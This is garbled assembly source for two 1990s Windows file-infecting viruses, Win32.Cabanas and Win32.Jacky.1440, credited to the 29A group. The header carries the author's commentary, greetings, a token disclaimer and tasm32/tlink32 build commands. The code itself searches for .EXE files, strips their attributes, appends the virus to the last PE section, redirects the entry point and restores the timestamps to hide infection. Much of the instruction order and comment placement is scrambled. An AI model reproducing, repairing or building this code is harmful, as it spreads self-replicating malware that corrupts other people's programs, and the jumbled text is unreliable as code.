mov [ebp + ptrForwarderChain - ebp_num],edx ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor mov edx,[esi.ID_ForwarderChain - x] mov [ebp + ddGetModuleHandleA - ebp_num],eax ;store RVA pointer to GetModuleHandleA API mov [ebp + ddForwarderChain - ebp_num],edx ;store actual ForwarderChain field value from KERNEL32 import descriptor cdq ;edx=0 dec eax ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed) jns StoreHandleW lea eax,[ebp + vszGetModuleHandleW - ebp_num] call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in the import table xchg eax,edx test edx,edx ;if found, jump and store GetModuleHandleW RVA pointer jnz StoreHandleW cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API adressez are binded jz StoreHandleW cmp edx,[esi.ID_OriginalFirstThunk - x] jz end_Bless3 mov [esi.ID_TimeDateStamp - x],edx StoreHandleW: mov [ebp + ddGetModuleHandleW - ebp_num],edx GetModuleHandleW API lea eax,[ebp + vszGetProcAddress - ebp_num] call IGetProcAddressIT GetModuleHandleA API in the import table ;store RVA pointer to

;get RVA pointer to

mov [ebp + ddGetProcAddress - ebp_num],eax GetModuleHandleW API if found, store zero if not found anywayz call Attach

;store RVA pointer to

;infect file ;at this point: ; ECX = host base adress, start of memory-maped file ; EDI = original file size

end_Bless3: call necesary end_Bless2: pop mov jecxz push push call end_Bless1: end_Process_File2: ret GetProcAddressET proc ;This function is similar to GetProcAddressIT except ; that it looks for API functions in the export table ; of a given DLL module. It has the same functionality ; as the original GetProcAddress API exported from ; KERNEL32 except that it is able to find API ; functions exported by ordinal from KERNEL32. ;on entry: ; TOS+08h (Arg2): pszAPIname (pointer to API name) ; TOS+04h (Arg1): module handle/base address of module ; TOS+00h (return adress) ;on exit: ; ECX = API function address ; ECX = 0, if not found pushad @SEH_SetupFrame <jmp Proc_Address_not_found> mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1 mov ebx,eax add eax,[eax.MZ_lfanew] ;get address of PE header mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory .OH_DirectoryEntries \ .DE_Export \ .DD_Size] jecxz Proc_Address_not_found ;size is zero, no API exported mov ebp,ebx ;get address of Export directory add ebp,[eax.NT_OptionalHeader \ .OH_DirectoryEntries \ .DE_Export \ .DD_VirtualAddress] Ordinal mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2 test eax,-10000h ;check if Arg2 is an ordinal jz Its_API_ordinal esi ;get pointer to filename ecx,[ebx.WFD_dwFileAttributes] ;get original file atributez end_Bless1 ecx esi [ebp + ddSetFileAttributesA - ebp_num] ;restore original file atributez Close&UnmapFileAdj ;close, unmap file and restore other setingz if

ifdef

endif

Its_API_name: push mov add mov xor cld ecx edx,ebx edx,[ebp.ED_AddressOfNames] ecx,[ebp.ED_NumberOfNames] eax,eax

;get address of exported API namez ;get number of exported API namez

Search_for_API_name: mov add mov esi,ebx ;get address of next exported API name esi,[edx+eax*4] edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2

Next_Char_in_API_name: cmpsb jz inc loop pop ;find requested API from all exported API namez Matched_char_in_API_name eax Search_for_API_name eax

Proc_Address_not_found: xor jmp ifdef Ordinal eax,eax End_GetProcAddressET ;API not found

Its_API_ordinal: sub index jmp endif Matched_char_in_API_name: cmp jnz pop mov add movzx Check_Index: cmp jae mov add add mov sub cmp jb eax,[ebp.ED_NumberOfFunctions] ;check for out of range index Proc_Address_not_found edx,ebx ;get address of exported API functionz edx,[ebp.ED_AddressOfFunctions] ebx,[edx+eax*4] ;get address of requested API function eax,ebx ebx,ebp ;take care of forwarded API functionz ebx,ecx Proc_Address_not_found byte ptr [esi-1],0 Next_Char_in_API_name ecx edx,ebx edx,[ebp.ED_AddressOfOrdinals] eax,word ptr [edx+eax*2] ;end of API name reached ? Check_Index eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e. convert it to an

;get address of exported API ordinalz ;get index into exported API functionz

End_GetProcAddressET: mov [esp.(2*Pshd).Pushad_ecx],eax @SEH_RemoveFrame popad ;set requested Proc Address, if found

jmp

Ret2Pshd

GetProcAddressET endp goto_GetProcAddressET: jmp GetProcAddressET ;this function is simply a wraper to the GetProcAddress ; API. It retrieves the address of an API function ; exported from KERNEL32. ;on entry: ; EBX = KERNEL32 module handle ; ESI = pszAPIname (pointer to API name) ;on exit: ; ECX = API function address ; ECX = 0, if not found

MyGetProcAddressK32:

pop push push push

eax esi ebx eax ;this function retrieves API adressez from KERNEL32

MyGetProcAddress proc

mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT ddGetProcAddress = dword ptr $ - 4 jecxz goto_GetProcAddressET push esi push ebx add ecx,[ebp + phost_hdr - ebp_num] call [ecx] ;call the original GetProcAddress API xchg ecx,eax jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function Ret2Pshd: ret (2*Pshd)

MyGetProcAddress endp MyGetModuleHandleW: ;this function retrieves the base address/module handle ; of KERNEL32 module previosly loaded to memory asumin ; the GetModuleHandleW API was found in the import ; table of the host ;this dynamic variable will hold an RVA pointer to

mov ecx,? the GetModuleHandleW API in the IAT ddGetModuleHandleW = dword ptr $ - 4 jmp MyGetModuleHandle MyGetModuleHandleA:

;this function retrieves the base address/module handle ; of KERNEL32 module previosly loaded to memory asumin ; the GetModuleHandleA API was found in the import ; table of the host ;this dynamic variable will hold an RVA pointer to

mov ecx,? the GetModuleHandleA API in the IAT ddGetModuleHandleA = dword ptr $ - 4 MyGetModuleHandle proc

;this function retrieves the base adress of KERNEL32 ;on entry:

; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT ; TOS+04h (Arg1): pointer to KERNEL32 module name ; TOS+00h (return adress) ;on exit: ; Zero flag set = Base adress not found ; Zero flag clear = Base adress found ; EAX = KERNEL32 base adress sub pop pop push mov jecxz push call chk_0: inc jz dec eax,eax ;set zero flag ebx ;get return adress eax ;Arg1 ebx ;push return adress ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump eax [ebx + ecx] ;call GetModuleHandle(A/W) API eax end_MyGetModuleHandle ;if any error, not found, jump eax

end_MyGetModuleHandle: ret MyGetModuleHandleX: ;this function retrieves the KERNEL32 base adress ; via an undocumented method. This function procedure ; doesnt work in Winblowz NT

mov eax,[ebx + 12345678h] ptrForwarderChain = dword ptr $ - 4 cmp eax,12345678h ddForwarderChain = dword ptr $ - 4 jnz chk_0 ret MyGetModuleHandle endp get_ebp2: mov jnc dec call al,0 get_ebp eax pop_ebp

;clear carry (unicode version) ;clear set (ansi version)

get_ebp: m_ebp: v_end:

;virus code ends here ;these variablez will be adressed in memory, but dont waste space in

;uninitialized data the file ImportHdr pCodeTable variables may overlap. at instalation stage, pHandlez one used when resident. phost_hdr pcode_start K32Mod ddGetProcAddress2 stored ;these 2

dd dd org dd

? ? $ - 4 ?

;import table RVA of current host ;pointer to encrypted chunkz of code

;these 2 ;one is used

;pointer to top of Handlez table

;the other

dd ? ;pointer to actual base adress of host dd ? ;pointer to start of virus code/data in memory dd ? ;KERNEL32 base adress dd ? ;adress where GetProcAddress API will be variables may overlap. org $ - 4

pPathNamez table pNewAPIs uni_or_ansi FunctionAdressez: ddCreateFileA ddCreateFileW ddFindClose ddFindFirstFileA ddFindFirstFileW ddFindNextFileA ddFindNextFileW ddSetFileAttributesA ddSetFileAttributesW ddCloseHandle ddCreateFileMappingA ddMapViewOfFile ddUnmapViewOfFile ddSetFilePointer ddSetEndOfFile ddSetFileTime ddGetWindowsDirectoryA ddGetSystemDirectoryA ddGetCurrentProcess ddGetModuleFileName ddWriteProcessMemory ddWideCharToMultiByte ddVirtualAlloc v_stringz: vszKernel32 vszGetModuleHandleA vszGetModuleHandleW Exts

;one is used at instalation stage, dd ? ;pointer to top of PathNamez ;the other one used when resident. dd ? ;pointer to new API entry in the jump table db ? ;needed to diferentiate unicode from ansi stringz ;this dwordz will hold the API function adressez used by the virus dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

;the API namez used by the virus are decrypted here db db db db db 'KERNEL32',0 'GetModuleHandleA',0 'GetModuleHandleW',0 'fxEtcR' 0 ;list of extensionz to infect

FunctionNamez2: vszGetProcAddress vszGetFileAttributesA vszGetFileAttributesW vszMoveFileExA vszMoveFileExW vsz_lopen vszCopyFileA vszCopyFileW vszOpenFile vszMoveFileA vszMoveFileW vszCreateProcessA vszCreateProcessW FunctionNamez: vszCreateFileA vszCreateFileW vszFindClose

;resident API namez, needed for dynamically API hookin db db db db db db db db db db db db db 'GetProcAddress',0 'GetFileAttributesA',0 'GetFileAttributesW',0 'MoveFileExA',0 'MoveFileExW',0 '_lopen',0 'CopyFileA',0 'CopyFileW',0 'OpenFile',0 'MoveFileA',0 'MoveFileW',0 'CreateProcessA',0 'CreateProcessW',0

db db db

'CreateFileA',0 'CreateFileW',0 'FindClose',0

vszFindFirstFileA vszFindFirstFileW vszFindNextFileA vszFindNextFileW vszSetFileAttributesA vszSetFileAttributesW non_res: vszCloseHandle vszCreateFileMappingA vszMapViewOfFile vszUnmapViewOfFile vszSetFilePointer vszSetEndOfFile vszSetFileTime vszGetWindowsDirectory vszGetSystemDirectory vszGetCurrentProcess vszGetModuleFileName vszWriteProcessMemory vszWideCharToMultiByte vszVirtualAlloc EndOfFunctionNamez szCopyright db org v_end2: NewAPItable

db db db db db db

'FindFirstFileA',0 'FindFirstFileW',0 'FindNextFileA',0 'FindNextFileW',0 'SetFileAttributesA',0 'SetFileAttributesW',0

;non-resident API namez db db db db db db db db db db db db db db db 'CloseHandle',0 'CreateFileMappingA',0 'MapViewOfFile',0 'UnmapViewOfFile',0 'SetFilePointer',0 'SetEndOfFile',0 'SetFileTime',0 'GetWindowsDirectoryA',0 'GetSystemDirectoryA',0 'GetCurrentProcess',0 'GetModuleFileNameA',0 'WriteProcessMemory',0 'WideCharToMultiByte',0 'VirtualAlloc',0 0

"(c) Win32.Cabanas v1.1 by jqwerty/29A.",0 (non_res + 1)

db nAPIS dup (?) ;this structure will hold data retrieved trhu

FindData WIN32_FIND_DATA ? FindFirst/Next APIz PathName virtual_end: Handlez PathNamez virtual_end2: db MAX_PATH dup (?)

;filenamez will be stored here for infection

;end of virus virtual memory space (in PE filez) db nHANDLEZ dup (?) db nPATHNAMEZ dup (?) ;Handlez table ;PathNamez table

;end of virus virtual memory space (in flat memory) ;this routine will be called only once from the first generation sample, ;it initializes some variables needed by the virus in the first run.

first_generation: jumps push call test jz xchg call ref: pop mov sub sub sub mov

NULL GetModuleHandleA eax,eax exit ecx,eax ref ebx eax,ebx eax,ref - host eax,ecx eax,[add_1st_val] [ebx + code_table - ref],eax

mov ror xor mov mov sub sub neg mov mov mov .if mov .endif sub mov mov .if mov .endif sub mov cld mov lea mov encrypt_stringz: lodsb cmp lahf xor ror stosb sahf .if movsb .endif dec cmp jnz mov lea mov rep jmp pfnGMH pfnGPA dd dd

al,6Ah al,1 al,[xor_2nd_val] [ebx + code_table + 6 - ref],al eax,ebx eax,ref - code_table eax,ecx eax [ebx + delta_host - ref],eax [ebx + old_base - ref],ecx eax,[ebx + pfnGMH - ref] word ptr [eax] == 25FFh eax,[eax + 2]

;jmp [xxxxxxxx]

eax,ecx [ebx + ddGetModuleHandleA - ref],eax eax,[ebx + pfnGPA - ref] word ptr [eax] == 25FFh eax,[eax + 2]

;set GetModuleHandleA RVA pointer

;jmp [xxxxxxxx]

eax,ecx [ebx + ddGetProcAddress - ref],eax

;set GetProcAddress RVA pointer

;encrypt API stringz ecx,ve_string_size esi,[ebx + ve_stringz - ref] edi,esi

al,80h al,0B5h al,cl

zero?

ecx ecx,10 encrypt_stringz ecx,v_end2 - v_stringz edi,[ebx + v_stringz - ref] al,-1 stosb v_start offset GetModuleHandleA offset GetProcAddress

;Host code starts here extrn extrn MessageBoxA: proc ExitProcess: proc

host:

push @pushsz @pushsz push call push call end

MB_OK ;display message box "(c) Win32.Cabanas v1.1 by jqwerty/29A" "First generation sample" NULL MessageBoxA 0 ExitProcess first_generation ;exit host

exit:

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Win32.Jacky.1440 by Jacky Qwerty/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Hello ppl, welcome to the first "Winblowz" 95/NT fully compatible virus. Yea i didnt mistype above, it reads "Win32" not "Win95" coz this babe is really a "genuine" Win32 virus, which means it should be able to infect any Win32 based system: Windoze 95, Windoze NT or Win32s. For some known reasonz that i wont delve in detail here, previous Win95 virusez were unable to spread succesfully under NT. The main reasonz were becoz they asumed KERNEL32 bein loaded at a fixed base adress (not true for NT or even future Win95 updatez) and they also made a "guess" about where the Win32 API functionz were located inside the KERNEL32 itself. This virus does NOT rely on fixed memory positionz or absolute adressez in order to run and spread. It always works at the Win32 API level, not playin its trickz "under the hood". This proves enough for the virus to spread succesfully on NT, asumin the user has enough rightz, of course. Unfortunately, this virus didnt make it as the first Windoze NT virus for the media. AVerz said they didnt have an NT machine available for virus testin, so they simply didnt test it under NT. Well ehem, thats what they said #8S. In the past summer however i finished the codin of Win32.Cabanas which is a far superior virus with much more featurez than its predecesor. This time, the guyz from Datafellowz and AVP made serious testz with Cabanas under NT until they finally concluded: "Oh miracle! it is able to work under NT!". So acordin to the media, Win32.Cabanas is the first WinNT virus and not Win32.Jacky as it should have been. Anywayz..

Technical description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When Win32.Jacky executes, it first looks for KERNEL32 base adress usin the GetModuleHandleA API right from the host import table and then it retrieves all other file API function adressez by usin the GetProcAdress API also from the import table. These APIz are not inserted by the virus when infection, they are only used if they already existed there (very likely), but this is not a "must do" for the virus to work tho. After all Win32 API functionz needed by the virus have been located, it looks for PE (EXE) filez in the current directory and infects them one by one. When infection starts, each EXE file is opened and maped in shared memory usin the "file mapin" API functionz provided by KERNEL32. This proves to be a great advance regardin file functionz as it clearly simplifies to a large extent the infection process and file handlin in general. After the PE signature is detected from the maped file, the virus inspects its import table lookin for the GetModuleHandleA and GetProcAddress APIz inside the KERNEL32 import descriptor. If this module is not imported, the file is left alone and discarded. If the GetProcAddress API is not found, the virus (later on when it executes) will call its own internal GetProcAddressET function, which simply inspects the KERNEL32 export table lookin for any specified Win32 API function. If GetModuleHandleA is not found the file will still get infected but then the virus, in order to find the KERNEL32 base adress, will be relyin on a smoewhat undocumented feature (checked before use). This feature is very simple: whenever a PE file with unbound KERNEL32 function adressez is loaded, the Win95 loader puts the KERNEL32 adress in the ForwarderChain field of the KERNEL32 import descriptor. This also works in Win95 OSR2 version but doesnt work on WinNT tho, so it should be used with some care after makin some sanity checkz first.

; If the GetModuleHandleA and GetProcAddrss APIz are found, the virus will ; hardcode their IAT referencez inside the virus code, then later on when ; the virus executes, it will have these API referencez already waitin to be ; called by the installation code. After the latter API search is done, the ; virus copies itself to the last section in the file, modifies the section ; atributez to acomodate the virus code and finally changes the EntryPoint ; field in the PE header to point to the virus code. The virus doesnt change ; or modify the time/date stamp of infected filez nor it is stoped by the ; "read only" atribute. ; ; ; AVP description ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Before jumpin to the source code, lets read what AVP has to say about the ; virus. Unfortunately as u will see they didnt test the thing on NT, other; wise they would have had a big surprise with it hehe #8D ; ; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm * ; ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; It is a harmless nonmemory resident parasitic Win95/NT virus 1440 ; bytes of length. Being executed the virus scans Win95/NT kernel and ; gets undocumented addresses of system file access function (see the ; list below). Then it searches for NewEXE Portable Executable ; (Win95 and NT) files and writes itself to the end of the file. The ; virus aligns the file length to the section, so the file lengths ; grows more that 1440 bytes while infection. ; ; This is the first known Win95/NT parasitic virus that does not add ; new section to the file - while infecting a file the virus writes ; itself to the end of the file, increases the size of last section ; in the file, and modifies characteristics of this section. So, ; only entry point address, size and characteristics of last section ; are modified in infected files. ; ; This is also first known to me Win95/NT infector that did work on ; my test computer (Windows95) without any problem. I did not try it ; under NT. ; ; The virus contains the encrypted strings, a part of these strings ; are the names of system functions that are used during infection: ; ; KERNEL32 GetModuleHandleA GetProcAddress ; *.EXE ; CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile ; MapViewOfFile FindFirstFileA FindNextFileA FindClose ; SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime ; ; To My d34d fRi3nD c4b4n4s.. ; A Win/NT/95 ViRuS v1.00. ; By: j4cKy Qw3rTy / 29A. ; jqw3rty@cryogen.com ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; ; Greetingz ; ÄÄÄÄÄÄÄÄÄ ; And finaly the greetinz go to: ; ; Mr.Chan, Wai ......... Thx for your help and advice.. master! ; MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;) ; QuantumG ............. What about yer NT resident driver idea? ; DarkSide1 ............ We are Southamerican rockerzzz!

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

GriYo/29A ............ Implant poly rulez!

Disclaimer ÄÄÄÄÄÄÄÄÄÄ This source code is for educational purposez only. The author is not responsible for any problemz caused due to the assembly of this file.

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm32 -ml -m5 -q -zn w32jacky.asm tlink32 -Tpe -c -x -aa w32jacky,,, import32 pewrsec w32jacky.exe

(c) 1997 Jacky Qwerty/29A.

.386p .model

flat

;whoaa.. no more segmentz

;Some includez containin very useful structurez and constantz for Win32 include include include include Useful.inc Win32API.inc MZ.inc PE.inc

;Some equ's needed by the virus work_size size_pad v_size extrn extrn .data db .code ;Virus code starts here v_start: push pushad call eax get_deltaz ;make space to store return adress ;save all ;here we go ? ;some dummy data so tlink32 dont yell equ 4000h ;size to grow up memory maped file equ 101 ;size paddin to mark infected filez equ v_end - v_start ;virus absolute size in filez ;APIs used durin first generation only

GetModuleHandleA :proc GetProcAddress :proc

;API namez needed by the virus. They will travel in encrypted form ve_stringz: veszKernel32 veszGetModuleHandleA veszGetProcAddress eEXE_filez veszCreateFileA veszCreateFileMappingA db db db db db db 'KERNEL32',0 'GetModuleHandleA',0 'GetProcAddress',0 '*.EXE',0 ;filez to search

'CreateFileA',0 'CreateFileMappingA',0

veszCloseHandle veszUnmapViewOfFile veszMapViewOfFile veszFindFirstFileA veszFindNextFileA veszFindClose veszSetFileAttributesA veszSetFilePointer veszSetEndOfFile veszSetFileTime eEndOfFunctionNames

db db db db db db db db db db db

'CloseHandle',0 'UnmapViewOfFile',0 'MapViewOfFile',0 'FindFirstFileA',0 'FindNextFileA',0 'FindClose',0 'SetFileAttributesA',0 'SetFilePointer',0 'SetEndOfFile',0 'SetFileTime',0 0

;An epitaph to a good friend of mine (not a "junkie" Pete) db db db db 'To My d34d fRi3nD c4b4n4s..',CRLF 'A Win/NT/95 ViRuS v1.00. ',CRLF 'By: j4cKy Qw3rTy / 29A. ',CRLF 'jqw3rty@cryogen.com',0 = $ - ve_stringz ;decrypt API stringz al,cl al crypt

ve_string_size crypt: lodsb rol not stosb loop ret

get_deltaz: mov pop cld lea lea mov stosd add delta_host stosd lea sub phost_start_rva push xchg mov decrypt_stringz: call call jecxz mov lea lea GetAPIAddress: push call jmp_host_2: crypt ;decrypt encrypted API and stringz MyGetModuleHandleA ;get KERNEL32 base adress jmp_host_2 [ebp + K32Mod - v_end],ecx ;save it esi,[ebp + FunctionNamez - v_end] edi,[ebp + FunctionAddressez - v_end] ;get adressez of API functionz used by the virus esi MyGetProcAddressK32 ecx,ve_string_size esi

;get pointer to ve_stringz

ebp,[esi + v_end - ve_stringz] ;get pointer to virus end eax,[esi + v_start - ve_stringz] edi,ebp ;save pointer to virus start eax,- 12345678h = dword ptr $ - 4 ;save current host base adress edi,[ebp + v_stringz - v_end] ;get pointer to API namez eax,- 12345678h = dword ptr $ - 4 edi ;push pointer to "KERNEL32" string ebx,eax [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return

;get API adress

jecxz cld xchg stosd lodsb test jnz cmp jnz lea push lea push call inc jz dec push Process_File: lea call jecxz xor cmp jnz add js add jnc call jnz test jnz xor mov mov cdq div mov Close_File: call mov jecxz call Find_Next: pop push call test jnz Find_Close: call

jmp_host eax,ecx ;save retrieved API adress ;point to next API name al,al $ - 3 al,[esi] GetAPIAddress

;end of API namez reached? ;no, get next API adress

ebx,[ebp + FindData - v_end] ;Find filez matchin *.EXE ebx eax,[ebp + EXE_filez - v_end] eax [ebp + ddFindFirstFileA - v_end] ;call FindFirstFileA API eax jmp_host eax eax ;save search handle ;check file and infect it edx,[ebx.WFD_szFileName] Open&MapFile Find_Next eax,eax [ebx.WFD_nFileSizeHigh],eax Close_File eax,[ebx.WFD_nFileSizeLow] Close_File eax,-80h Close_File Check_PE_sign Close_File ah,IMAGE_FILE_DLL shr 8 Close_File ecx,ecx eax,[ebx.WFD_nFileSizeLow] cl,size_pad

;open and map file

;skip filez too large (>1GB)

;skip filez too short ;it has to be a PE file ;can't have DLL bit

;check if file is infected

ecx esi,edx ;esi == 0, file already infected or not infectable ;esi != 0, file not infected, i.e. infect it!

Close&UnmapFile ecx,esi Find_Next Infect

;close and unmap file ;jump and find next file ;infect file

eax ;find next file eax ebx eax [ebp + ddFindNextFileA - v_end] eax,eax Process_File

[ebp + ddFindClose - v_end]

;no more filez, close search

jmp_host: popad ret Infect proc ;jump to host

;blank file attributez, open and map file in r/w mode, ;infect it, restore date/time stamp and attributez edx,[ebx.WFD_szFileName] ;get filename edx 0 edx [ebp + ddSetFileAttributesA - v_end] ;blank file attributez ecx,eax edx end_Infect1 edi,work_size edi,[ebx.WFD_nFileSizeLow] Open&MapFileAdj ;open and map file in read/write mode end_Infect2 esi,[ebp + vszKernel32 - v_end] eax,[ebp + vszGetModuleHandleA - v_end] eax esi eax,[ebp + vszGetProcAddress - v_end] eax esi ecx GetProcAddressIT ;get ptr to GetProcAddress API [ebp + ddGetProcAddress - v_end],eax ecx esi,esi GetProcAddressIT ;get ptr to GetModuleHandleA API [ebp + ddGetModuleHandleA - v_end],eax eax,eax GetModHandle_found ;if GetModuleHandleA found, esi,esi ;jump and attach virus end_Infect3 ;KERNEL32 import descriptor not found, ;then dont infect

lea push call xchg pop jecxz mov add call jecxz lea lea push lea push call mov push xor call mov test jnz test jz

x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR ;GetModuleHandleA not found cmp jz cmp jz mov got_easy: mov mov mov eax,[esi.ID_ForwarderChain - x] ;hardcode pointerz to [ebp + ptrForwarderChain - v_end],edx ;the ForwarderChain [ebp + ddForwarderChain - v_end],eax ;field [esi.ID_TimeDateStamp - x],eax ;check if we can rely on got_easy ;the ForwarderChain trick eax,[esi.ID_OriginalFirstThunk - x] end_Infect3 [esi.ID_TimeDateStamp - x],eax

GetModHandle_found: mov call end_Infect3: call end_Infect2: mov jecxz ecx,[ebx.WFD_dwFileAttributes] end_Infect1 ;restore original atribute esi,[ebp + pv_start - v_end] Attach

;attach virus to host

Close&UnmapFileAdj

;close and unmap file

lea push call end_Infect1: ret Infect endp

edx,[ebx.WFD_szFileName] ecx edx [ebp + ddSetFileAttributesA - v_end]

Check_PE_sign

proc

;checks validity of a PE file ; on entry: EDX = host file size ; ECX = base address of memory-maped file ; EBX = pointer to WIN32_FIND_DATA structure ; EAX = host file size - 80h ; on exit: Zero flag = 1, infectable PE file ; Zero flag = 0, not infectable file

cmp jnz cmp jb mov cmp jb add cmp jnz cmp jnz mov not test

word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature end_check_PE_sign word ptr [ecx.MZ_lfarlc],40h ;needs Win signature end_check_PE_sign ;(well not necesarily) edi,[ecx.MZ_lfanew] ;get ptr to new exe format eax,edi ;ptr out of range? end_check_PE_sign edi,ecx dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature end_check_PE_sign word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ IMAGE_FILE_MACHINE_I386 end_check_PE_sign eax,dword ptr [edi.NT_FileHeader.FH_Characteristics] al al,IMAGE_FILE_EXECUTABLE_IMAGE ;must have the executable bit

end_check_PE_sign: ret Check_PE_sign Open&MapFile endp proc ;open and map file in read only mode ; on entry: ; EDX = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok edi,edi ;open and map file in read/write mode ; on entry: ; EDI = file size + work space (in bytes) ; EDX = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok ; EDI = old file size xor push mov ror eax,eax eax eax OPEN_EXISTING eax eax al,1 eax,1

xor Open&MapFileAdj:

mov jecxz rcr push call cdq inc jz dec push xor push mov mov jecxz shl push call cdq xchg jecxz push push mov test jz shr mov push call xchg jecxz push jmp Open&MapFile endp

ecx,edi $+4 eax,1 eax edx [ebp + ddCreateFileA - v_end] eax end_Open&MapFile eax eax

;open file

;push first handle

esi,esi edx edi edx dl,PAGE_READONLY ecx,edi $+4 dl,1 edx esi eax [ebp + ddCreateFileMappingA - v_end] ecx,eax end_Open&MapFile2 ecx

;create file ;mapping

;push second handle

OMF_RdOnly:

edi edx edx dl,FILE_MAP_READ edi,edi OMF_RdOnly dl,1 edi,[ebx.WFD_nFileSizeLow] edx ecx [ebp + ddMapViewOfFile - v_end] ;map view of file ecx,eax end_Open&MapFile3 ecx ;push base address of ;memory-mapped file [esp.(3*Pshd).RetAddr] ;jump to return adress leavin ;parameterz in the stack

Close&UnmapFile proc xor Close&UnmapFileAdj: pop mov call end_Open&MapFile3: call mov jecxz pop push xor push xchg call call

;close and unmap file previosly opened in r/o mode edi,edi ;close and unmap file previosly opened in r/w mode eax ;return adress [esp.(3*Pshd).RetAddr],eax [ebp + ddUnmapViewOfFile - v_end] ;unmap view of file

[ebp + ddCloseHandle - v_end] ;close handle ecx,edi end_Open&MapFile2 ;if read only mode jump eax eax eax esi,esi esi esi edi eax edi,eax [ebp + ddSetFilePointer - v_end] ;move file pointer to ;the real end of file [ebp + ddSetEndOfFile - v_end] ;truncate file at

lea push call end_Open&MapFile2: call end_Open&MapFile: xor ret Close&UnmapFile endp Attach proc

eax,[ebx.WFD_ftLastWriteTime] eax esi esi edi [ebp + ddSetFileTime - v_end]

;real end of file ;restore original ;date/time stamp

[ebp + ddCloseHandle - v_end]

;close handle

ecx,ecx

;attach virus code to last section in the PE file and ; change section characteristicz to reflect infection ;on entry: ; ECX = base of memory-maped file ; ESI = pointer to start of virus code ;on exit: ; EDI = new file size

pushad push mov add movzx

ecx ebp,ecx ;get base adress ebp,[ebp.MZ_lfanew] ;get PE header base ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections .FH_NumberOfSections] xor eax,eax movzx edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header .FH_SizeOfOptionalHeader] x = IMAGE_SIZEOF_SECTION_HEADER mov al,x mul ecx ;get last section header pop edx jecxz end_Attach2 add edi,eax lea ebx,[ebp.NT_OptionalHeader + edi] mov ecx,[ebx.SH_SizeOfRawData - x] mov eax,[ebx.SH_VirtualSize - x] cmp ecx,eax jnc $+3 xchg eax,ecx add edx,[ebx.SH_PointerToRawData - x] sub eax,-3 mov ecx,(v_size + 3)/4 and al,-4 lea edi,[eax+edx] ;find pointer in last section where virus cld ;will be copied rep movsd ;copy virus add eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point mov ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA end_Attach2: jecxz push lea and neg sub mov lea end_Attach eax ;virus entry point esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \ (-4))] eax edi,edx [esi + delta_host - phost_start_rva],eax ;harcode delta to eax,[ecx+edi-1] ;host base adress

cdq sub mov cdq div pop mul xchg mov add jecxz cmp jnc mov n_vir: dec mov add div mul add cmp jnc mov n_img: add sub or

pop mov cdq cmp jc xchg sub div mul push mov end_Attach: popad ret Attach endp

